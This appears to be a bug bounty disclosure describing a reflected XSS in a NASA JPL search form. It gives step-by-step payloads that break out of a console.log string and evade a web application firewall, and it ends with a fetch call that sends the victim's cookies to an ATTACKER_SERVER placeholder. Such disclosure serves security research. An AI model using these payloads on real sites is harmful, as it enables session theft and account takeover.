Search Form XSS Cookie Exfiltration with WAF Bypass
National Aeronautics and Space Administration Jet Propulsion Laboratory (NASA JPL)
🔍 Search Anything
As with any bug bounty program, the first thing we did was use the page as any normal user would. The search field stood out at first glance, so we decided to try it out.
https://[REDACTED].nasa.gov/search.htm?search=pwn
This is where we realized that the value we were adding was reflected on the website.
We decided to carefully inspect the website's source code and realized that our input was inside a console.log() function.
🛡️ Tag <script> Disallowed
We ran some basic tests that are performed to try to detect XSS attacks:
<script>alert(1)</script>
All we got was that the Web Application Firewall (WAF) rejected our requests at the slightest sign of malicious activity.
🔧 Close Javascript console.log String
Building on our initial discovery, we decided to try closing console.log() to insert code right after it using the following payload:
pwn');
We inserted ') immediately after a string of text, which is what JavaScript needed to close console.log(). However, the semicolon symbol ; was not being displayed.
🧩 Append Javascript (Not Working)
pwn');alert(1)
We tried again, but with some text after the semicolon. After several tests, we couldn't get the semicolon to appear. Worse still, everything after the semicolon didn't even appear in the text.
🧱 Append Javascript (Bypass)
To make it work and start injecting code, we had to encode the semicolon in HTML format, changing it from ; to %3b.
pwn')%3balert(1)
💥 First Alert (Working)
Although the WAF did not accept the <script> tag, we managed to get it to render the </script> tag, which was enough to carry out a REFLECTED XSS attack.
pwn')%3balert(1)</script>;//
🚫 Second Alert (Firewall Blocks)
Once we had managed to execute an alert() on the web page, we wanted to go further and attempt to read a user's cookies. The WAF continued to reject our requests as soon as it detected suspicious strings such as document.cookie.
pwn')%3balert(document.cookie)</script>;//
🕵️ Firewall Bypass for Cookies
The WAF rejected strings like document.cookie. To achieve an effective WAF bypass, we created a variable a that contained document, and we requested cookie from that variable.
pwn')%3ba=document%3balert(a.cookie)</script>;//
🚀 Final Exploit (Cookies Exfiltration)
Instead of executing alert, we executed fetch to sending a request to a server controlled by the attacker.
pwn');a=document;fetch('https://ATTACKER_SERVER/s='+a.cookie)</script>//
📜 Official Recognition
🤝 Collaboration Details
This research was conducted in a joint effort with the following researchers: